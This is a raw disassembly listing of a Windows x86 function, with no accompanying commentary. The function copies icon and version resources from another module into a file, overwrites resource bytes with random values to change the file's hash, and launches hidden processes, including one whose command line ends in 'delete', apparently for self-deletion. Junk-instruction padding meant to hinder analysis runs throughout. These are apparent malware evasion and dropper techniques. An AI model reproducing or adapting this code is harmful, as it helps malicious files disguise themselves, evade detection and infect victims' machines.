call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x64], eax
mov edx, dword [ebp - 0x64]
push edx
call fcn.00418bce
add esp, 4
mov dword [ebp - 0x1d0], eax
mov eax, dword [ebp - 0x1d0]
mov dword [ebp - 0xc8], eax
mov ecx, dword [ebp - 0x64]
push ecx
mov edx, dword [ebp - 0xd0]
push edx
mov eax, dword [ebp - 0xc8]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push esi
xor esi, ecx
sub esi, ebp
or esi, esp
mov esi, 0x6a1d1b9c
nop
pop esi
push 0
lea ecx, [ebp - 0x16c]
call fcn.00413fd0
push eax
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov dword [ebp - 0x90], eax
push ecx
and ecx, ebp
mov ecx, 0x32863a34
xor ecx, esi
and ecx, edx
nop
pop ecx
cmp dword [ebp - 0x90], 0
jne 0x405d6b
mov edx, dword [ebp - 0xc8]
mov dword [ebp - 0x1e8], edx
mov eax, dword [ebp - 0x1e8]
push eax
call fcn.00418bd7
add esp, 4
lea ecx, [ebp - 0x150]
call fcn.0040f630
lea ecx, [ebp - 0x728]
call fcn.00410150
lea ecx, [ebp - 0x184]
call fcn.0040f630
lea ecx, [ebp - 0x670]
call fcn.004101b0
jmp 0x40685e
mov dword [ebp - 0x118], 0x2c
jmp 0x405d86
mov ecx, dword [ebp - 0x118]
add ecx, 1
mov dword [ebp - 0x118], ecx
mov edx, dword [ebp - 0x118]
cmp edx, dword [ebp - 0x64]
jae 0x405daf
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0xff
idiv ecx
mov eax, dword [ebp - 0xc8]
add eax, dword [ebp - 0x118]
mov byte [eax], dl
jmp 0x405d77
push ebx
mov ebx, 0x70fb68d8
sub ebx, esi
sub ebx, esi
and ebx, ebp
nop
pop ebx
mov ecx, dword [ebp - 0x64]
push ecx
mov edx, dword [ebp - 0xc8]
push edx
push 0x409
push 1
push 3
mov eax, dword [ebp - 0x90]
push eax
call dword [sym.imp.KERNEL32.dll_UpdateResourceW]
mov dword [ebp - 0x138], eax
mov ecx, dword [ebp - 0xc8]
mov dword [ebp - 0x1d4], ecx
mov edx, dword [ebp - 0x1d4]
push edx
call fcn.00418bd7
add esp, 4
cmp dword [ebp - 0x138], 0
jne 0x405e39
lea ecx, [ebp - 0x150]
call fcn.0040f630
lea ecx, [ebp - 0x728]
call fcn.00410150
lea ecx, [ebp - 0x184]
call fcn.0040f630
lea ecx, [ebp - 0x670]
call fcn.004101b0
jmp 0x40685e
push ebx
mov ebx, 0x3e2c61a0
mov ebx, 0x47a90771
sbb ebx, ebx
pop ebx
push 0
mov eax, dword [ebp - 0x90]
push eax
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
test eax, eax
jne 0x405e8b
lea ecx, [ebp - 0x150]
call fcn.0040f630
lea ecx, [ebp - 0x728]
call fcn.00410150
lea ecx, [ebp - 0x184]
call fcn.0040f630
lea ecx, [ebp - 0x670]
call fcn.004101b0
jmp 0x40685e
push edi
mov edi, 0x50b04b5c
mov edi, 0x67d426ca
add edi, esi
pop edi
lea ecx, [ebp - 0x390]
call fcn.004144f0
movzx ecx, al
test ecx, ecx
jne 0x4062c9
lea ecx, [ebp - 0x390]
call fcn.00413fd0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jne 0x405f09
push edx
add edx, ebx
add edx, ebx
mov edx, 0x16041661
and edx, edi
nop
pop edx
lea ecx, [ebp - 0x150]
call fcn.0040f630
lea ecx, [ebp - 0x728]
call fcn.00410150
lea ecx, [ebp - 0x184]
call fcn.0040f630
lea ecx, [ebp - 0x670]
call fcn.004101b0
jmp 0x40685e
mov dword [ebp - 0x4c], 1
jmp 0x405f1b
mov edx, dword [ebp - 0x4c]
add edx, 1
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x4c]
push eax
lea ecx, [ebp - 0xb08]
push ecx
call fcn.004181b0
add esp, 8
push eax
push 0x41b61c
lea edx, [ebp - 0x330]
push edx
call fcn.0040c1b0
add esp, 0xc
lea ecx, [ebp - 0xb08]
call fcn.0040f670
push 0x10
lea ecx, [ebp - 0x330]
call fcn.00413fd0
push eax
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jne 0x405fd3
cmp dword [ebp - 0x4c], 0x6e
jne 0x405fc1
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [ebp - 0x330]
call fcn.0040f670
lea ecx, [ebp - 0x150]
call fcn.0040f630
lea ecx, [ebp - 0x728]
call fcn.00410150
lea ecx, [ebp - 0x184]
call fcn.0040f630
lea ecx, [ebp - 0x670]
call fcn.004101b0
jmp 0x40685e
lea ecx, [ebp - 0x330]
call fcn.0040f670
jmp 0x405f12
cmp dword [ebp - 0x4c], 0x6e
jne 0x406021
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [ebp - 0x330]
call fcn.0040f670
lea ecx, [ebp - 0x150]
call fcn.0040f630
lea ecx, [ebp - 0x728]
call fcn.00410150
lea ecx, [ebp - 0x184]
call fcn.0040f630
lea ecx, [ebp - 0x670]
call fcn.004101b0
jmp 0x40685e
lea ecx, [ebp - 0x330]
call fcn.0040f670
jmp 0x40603e
push edx
mov edx, 0x585f343f
xor edx, edi
mov edx, 0x7b213f53
pop edx
mov eax, dword [ebp - 0x8c]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0
jne 0x4060a7
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [ebp - 0x150]
call fcn.0040f630
lea ecx, [ebp - 0x728]
call fcn.00410150
lea ecx, [ebp - 0x184]
call fcn.0040f630
lea ecx, [ebp - 0x670]
call fcn.004101b0
jmp 0x40685e
push ebx
mov ebx, 0x255e7155
or ebx, esp
mov ebx, 0x27775760
pop ebx
mov eax, dword [ebp - 0xcc]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0
jne 0x40610c
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [ebp - 0x150]
call fcn.0040f630
lea ecx, [ebp - 0x728]
call fcn.00410150
lea ecx, [ebp - 0x184]
call fcn.0040f630
lea ecx, [ebp - 0x670]
call fcn.004101b0
jmp 0x40685e
mov edx, dword [ebp - 0x8c]
push edx
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x64], eax
mov ecx, dword [ebp - 0x64]
push ecx
call fcn.00418bce
add esp, 4
mov dword [ebp - 0x1d8], eax
mov edx, dword [ebp - 0x1d8]
mov dword [ebp - 0x11c], edx
mov eax, dword [ebp - 0x64]
push eax
mov ecx, dword [ebp - 0xd0]
push ecx
mov edx, dword [ebp - 0x11c]
push edx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push edx
mov edx, 0x478512d9
and edx, eax
add edx, edi
sub edx, eax
nop
pop edx
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0
lea ecx, [ebp - 0x16c]
call fcn.00413fd0
push eax
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov dword [ebp - 0x90], eax
push esi
mov esi, 0x33ab53be
mov esi, 0x163b35b4
sbb esi, edi
pop esi
cmp dword [ebp - 0x90], 0
jne 0x4061ed
mov ecx, dword [ebp - 0x11c]
mov dword [ebp - 0x1dc], ecx
mov edx, dword [ebp - 0x1dc]
push edx
call fcn.00418bd7
add esp, 4
lea ecx, [ebp - 0x150]
call fcn.0040f630
lea ecx, [ebp - 0x728]
call fcn.00410150
lea ecx, [ebp - 0x184]
call fcn.0040f630
lea ecx, [ebp - 0x670]
call fcn.004101b0
jmp 0x40685e
push ecx
mov ecx, 0x70601b6a
mov ecx, 0x7d190e87
sbb ecx, esi
pop ecx
mov eax, dword [ebp - 0x64]
push eax
mov ecx, dword [ebp - 0x11c]
push ecx
push 0x409
push 1
push 0x10
mov edx, dword [ebp - 0x90]
push edx
call dword [sym.imp.KERNEL32.dll_UpdateResourceW]
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x1e0], eax
mov ecx, dword [ebp - 0x1e0]
push ecx
call fcn.00418bd7
add esp, 4
cmp dword [ebp - 0x138], 0
jne 0x406277
lea ecx, [ebp - 0x150]
call fcn.0040f630
lea ecx, [ebp - 0x728]
call fcn.00410150
lea ecx, [ebp - 0x184]
call fcn.0040f630
lea ecx, [ebp - 0x670]
call fcn.004101b0
jmp 0x40685e
push ecx
and ecx, edi
mov ecx, 0x61ed2674
mov ecx, 0x2e3e2e9f
pop ecx
push 0
mov edx, dword [ebp - 0x90]
push edx
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
test eax, eax
jne 0x4062c9
lea ecx, [ebp - 0x150]
call fcn.0040f630
lea ecx, [ebp - 0x728]
call fcn.00410150
lea ecx, [ebp - 0x184]
call fcn.0040f630
lea ecx, [ebp - 0x670]
call fcn.004101b0
jmp 0x40685e
lea ecx, [ebp - 0x150]
call fcn.0040f630
lea ecx, [ebp - 0x728]
call fcn.00410150
lea ecx, [ebp - 0x184]
call fcn.0040f630
lea ecx, [ebp - 0x670]
call fcn.004101b0
jmp 0x4062fb
mov byte [ebp - 0xd], 0
push edx
mov edx, 0x51717cdc
sub edx, eax
mov edx, 0x63e20670
pop edx
push esi
mov esi, 0x57d5197
xor esi, esi
sbb esi, ebp
sbb esi, edi
nop
pop esi
push edi
add edi, ecx
mov edi, 0x39d21e8
sbb edi, esp
add edi, ecx
nop
pop edi
push 0x208
push 0
lea eax, [ebp - 0xfa0]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x104
lea ecx, [ebp - 0xfa0]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push eax
or eax, ebp
mov eax, 0x3b9f64b8
mov eax, 0x62516b2a
pop eax
push edx
mov edx, 0x61117d53
mov edx, 0x39b92467
xor edx, edi
pop edx
push edi
mov edi, 0xe271584
mov edi, 0x1d8b457d
sub edi, ecx
pop edi
push 0x800
push 0
lea edx, [ebp - 0x19a8]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push ebx
mov ebx, 0x96530
mov ebx, 0x359620a9
or ebx, ecx
pop ebx
push ebx
mov ebx, 0x3b1d0d19
mov ebx, 0x70725aa8
or ebx, esi
pop ebx
push ebx
mov ebx, 0x26172d48
or ebx, esi
mov ebx, 0x33830a4d
pop ebx
movzx eax, byte [ebp - 0xd]
test eax, eax
jne 0x4064c5
push esi
add esi, eax
mov esi, 0x57e56e10
or esi, ecx
xor esi, ecx
nop
pop esi
push ebp
add ebp, edx
mov ebp, 0x79d21c2b
mov ebp, 0xeb2156e
pop ebp
push ebx
mov ebx, 0x1c9d7086
mov ebx, 0x23d58ca
and ebx, ecx
pop ebx
push esi
add esi, ebx
and esi, esi
mov esi, 0x5f8d3556
xor esi, eax
nop
pop esi
push eax
mov eax, 0x155b69cb
and eax, esi
mov eax, 0x42d0633f
pop eax
push edi
or edi, ebx
mov edi, 0xe44181a
and edi, ebx
sub edi, eax
nop
pop edi
push edx
or edx, ebp
mov edx, 0x557b4607
mov edx, 0x21e22aef
pop edx
lea ecx, [ebp - 0xfa0]
push ecx
push 0x420408
push 0x420408
lea edx, [ebp - 0xb20]
push edx
call fcn.0040c110
add esp, 0xc
mov ecx, eax
call fcn.00413fd0
push eax
lea ecx, [ebp - 0x16c]
call fcn.00413fd0
push eax
push 0x41b620
lea eax, [ebp - 0x19a8]
push eax
call fcn.004180a0
add esp, 0x14
lea ecx, [ebp - 0xb20]
call fcn.0040f670
push edi
mov edi, 0x5c30d0a
mov edi, 0x454b1643
and edi, edx
pop edi
push edi
sub edi, ebx
mov edi, 0x392958e4
mov edi, 0x19336c2b
pop edi
push esi
mov esi, 0x62fb4f43
mov esi, 0x78bf27f3
add esi, esp
pop esi
push esi
mov esi, 0x1f0e5cd5
add esi, esi
sub esi, ecx
and esi, ebx
nop
pop esi
push ebp
mov ebp, 0xd217a54
or ebp, ebp
mov ebp, 0x339257e
pop ebp
jmp 0x4066a1
push str.__d____d____d_
lea ecx, [ebp - 0x258]
call fcn.0040ef10
mov dword [ebp - 0xd4], 0
jmp 0x4064f0
mov ecx, dword [ebp - 0xd4]
add ecx, 1
mov dword [ebp - 0xd4], ecx
lea ecx, [ebp - 0x258]
call fcn.00417e70
cmp dword [ebp - 0xd4], eax
jae 0x406547
push ebp
mov ebp, 0x6dbe22d3
mov ebp, 0x32eb11e1
and ebp, edi
pop ebp
mov edx, dword [ebp - 0xd4]
push edx
lea ecx, [ebp - 0x258]
call fcn.0040fde0
movzx eax, word [eax]
cmp eax, 0x64
jne 0x406545
mov ecx, dword [ebp - 0xd4]
push ecx
lea ecx, [ebp - 0x258]
call fcn.0040fde0
mov edx, 0x72
mov word [eax], dx
jmp 0x4064e1
push esi
mov esi, 0x3bba2fd0
add esi, esi
mov esi, 0x7cc04f83
pop esi
push ebx
mov ebx, 0x6d840aba
mov ebx, 0x8ae66e2
or ebx, ebx
pop ebx
push edx
sbb edx, edi
xor edx, eax
or edx, ebp
xor edx, edi
xor edx, ebp
sub edx, eax
pop edx
push edi
mov edi, 0x3ba47f2f
sbb edi, ebx
xor edi, ecx
sbb edi, esi
nop
pop edi
push ebx
and ebx, edx
sub ebx, ebp
mov ebx, 0x7e994033
sub ebx, esi
nop
pop ebx
push edi
add edi, edx
xor edi, edx
mov edi, 0x302f363b
xor edi, ebp
nop
pop edi
mov dword [ebp - 0xd8], 0
jmp 0x4065b6
mov eax, dword [ebp - 0xd8]
add eax, 1
mov dword [ebp - 0xd8], eax
lea ecx, [ebp - 0x258]
call fcn.00417e70
cmp dword [ebp - 0xd8], eax
jae 0x406620
push esi
add esi, ebp
or esi, ecx
mov esi, 0x46100ead
sbb esi, ebp
nop
pop esi
mov ecx, dword [ebp - 0xd8]
push ecx
lea ecx, [ebp - 0x258]
call fcn.0040fde0
movzx edx, word [eax]
cmp edx, 0x72
jne 0x40661e
mov eax, dword [ebp - 0xd8]
push eax
lea ecx, [ebp - 0x258]
call fcn.0040fde0
mov dword [ebp - 0x1c8], eax
mov ecx, dword [ebp - 0x1c8]
movzx edx, word [ecx]
add edx, 1
mov eax, dword [ebp - 0x1c8]
mov word [eax], dx
jmp 0x4065a7
lea ecx, [ebp - 0xfa0]
push ecx
push 0x420408
push 0x420408
lea edx, [ebp - 0xb80]
push edx
call fcn.0040c110
add esp, 0xc
mov ecx, eax
call fcn.00413fd0
push eax
lea ecx, [ebp - 0x16c]
call fcn.00413fd0
push eax
lea ecx, [ebp - 0x258]
call fcn.00413fd0
push eax
lea eax, [ebp - 0x19a8]
push eax
call fcn.004180a0
add esp, 0x14
lea ecx, [ebp - 0xb80]
call fcn.0040f670
push ecx
mov ecx, 0x196b1023
mov ecx, 0x42953170
and ecx, edx
pop ecx
push ebx
mov ebx, 0x7e5d74c7
sub ebx, ecx
sbb ebx, ebp
add ebx, eax
nop
pop ebx
lea ecx, [ebp - 0x258]
call fcn.0040f670
push edi
mov edi, 0x7f36862
mov edi, 0x24c30076
and edi, edi
pop edi
push esi
and esi, esp
mov esi, 0x2b1e651b
add esi, ecx
xor esi, esi
nop
pop esi
push 0x10
push 0
lea ecx, [ebp - 0x738]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x44
push 0
lea edx, [ebp - 0xbc4]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push eax
mov eax, 0x3fde6c74
or eax, esi
mov eax, 0x13ce64a9
pop eax
mov dword [ebp - 0xbc4], 0x44
push ebx
and ebx, eax
mov ebx, 0x3e4162ff
mov ebx, 0x3f5906bd
pop ebx
push esi
mov esi, 0x3ad6791f
or esi, esp
mov esi, 0x4c0b3b74
pop esi
mov dword [ebp - 0xb98], 1
xor eax, eax
mov word [ebp - 0xb94], ax
push ebp
xor ebp, edx
mov ebp, 0x3ff71da4
xor ebp, ebp
xor ebp, esi
nop
pop ebp
lea ecx, [ebp - 0x738]
push ecx
lea edx, [ebp - 0xbc4]
push edx
push 0
push 0
push 0x4000008
push 0
push 0
push 0
lea eax, [ebp - 0x19a8]
push eax
lea ecx, [ebp - 0x16c]
call fcn.00413fd0
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0x1e4], eax
push eax
add eax, eax
or eax, edx
mov eax, 0x388e13e0
sbb eax, ebp
nop
pop eax
cmp dword [ebp - 0x1e4], 0
jne 0x406799
push edi
sbb edi, ebx
mov edi, 0x5ec3ea3
mov edi, 0x40c460ad
pop edi
mov dword [ebp - 0x200], 0
lea ecx, [ebp - 0xcc0]
call fcn.00410150
lea ecx, [ebp - 0x2b8]
call fcn.0040f670
lea ecx, [ebp - 0x2d0]
call fcn.0040f670
lea ecx, [ebp - 0x348]
call fcn.0040f670
lea ecx, [ebp - 0x2e8]
call fcn.0040f670
lea ecx, [ebp - 0x360]
call fcn.0040f630
lea ecx, [ebp - 0x378]
call fcn.0040f670
lea ecx, [ebp - 0x270]
call fcn.0040f630
lea ecx, [ebp - 0x1b4]
call fcn.0040f670
lea ecx, [ebp - 0x390]
call fcn.0040f670
lea ecx, [ebp - 0x16c]
call fcn.0040f670
lea ecx, [ebp - 0x578]
call fcn.0040f630
lea ecx, [ebp - 0x5a8]
call fcn.0040f630
lea ecx, [ebp - 0x288]
call fcn.0040f630
lea ecx, [ebp - 0xb4]
call fcn.0040f820
lea ecx, [ebp - 0x19c]
call fcn.0040f670
mov eax, dword [ebp - 0x200]
jmp 0x406a84
push 0x208
push 0
lea ecx, [ebp - 0xfa0]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x104
lea edx, [ebp - 0xfa0]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x800
push 0
lea eax, [ebp - 0x19a8]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 0xfa0]
push ecx
push 0x420408
push 0x420408
lea edx, [ebp - 0xb50]
push edx
call fcn.0040c110
add esp, 0xc
mov ecx, eax
call fcn.00413fd0
push eax
lea ecx, [ebp - 0x16c]
call fcn.00413fd0
push eax
push str.__s____s____s___delete_
lea eax, [ebp - 0x19a8]
push eax
call fcn.004180a0
add esp, 0x14
lea ecx, [ebp - 0xb50]
call fcn.0040f670
push 0x10
push 0
lea ecx, [ebp - 0x748]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x44
push 0
lea edx, [ebp - 0xc08]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push ecx
mov ecx, 0x4c22561b
or ecx, eax
add ecx, ecx
xor ecx, esi
nop
pop ecx
mov dword [ebp - 0xc08], 0x44
push ecx
mov ecx, 0x52d13049
and ecx, esi
sbb ecx, edi
sub ecx, ecx
nop
pop ecx
push ecx
mov ecx, 0x289e78fc
mov ecx, 0x591c7de8
xor ecx, edi
pop ecx
mov dword [ebp - 0xbdc], 1
xor eax, eax
mov word [ebp - 0xbd8], ax
push ebp
mov ebp, 0x137d04bf
add ebp, ebx
xor ebp, edi
xor ebp, esi
nop
pop ebp
lea ecx, [ebp - 0x748]
push ecx
lea edx, [ebp - 0xc08]
push edx
push 0
push 0
push 0x4000008
push 0
push 0
push 0
lea eax, [ebp - 0x19a8]
push eax
lea ecx, [ebp - 0x16c]
call fcn.00413fd0
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0x1ec], eax
push edx
mov edx, 0x7a2474ab
xor edx, ecx
mov edx, 0x74b10d5d
pop edx
push ecx
xor ecx, ebp
mov ecx, 0x49220d7
mov ecx, 0x69196632
pop ecx
mov dword [ebp - 0x1f0], 0
lea ecx, [ebp - 0xcc0]
call fcn.00410150
lea ecx, [ebp - 0x2b8]
call fcn.0040f670
lea ecx, [ebp - 0x2d0]
call fcn.0040f670
lea ecx, [ebp - 0x348]
call fcn.0040f670
lea ecx, [ebp - 0x2e8]
call fcn.0040f670
lea ecx, [ebp - 0x360]
call fcn.0040f630
lea ecx, [ebp - 0x378]
call fcn.0040f670
lea ecx, [ebp - 0x270]
call fcn.0040f630
lea ecx, [ebp - 0x1b4]
call fcn.0040f670
lea ecx, [ebp - 0x390]
call fcn.0040f670
lea ecx, [ebp - 0x16c]
call fcn.0040f670
lea ecx, [ebp - 0x578]
call fcn.0040f630
lea ecx, [ebp - 0x5a8]
call fcn.0040f630
lea ecx, [ebp - 0x288]
call fcn.0040f630
lea ecx, [ebp - 0xb4]
call fcn.0040f820
lea ecx, [ebp - 0x19c]
call fcn.0040f670
mov eax, dword [ebp - 0x1f0]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10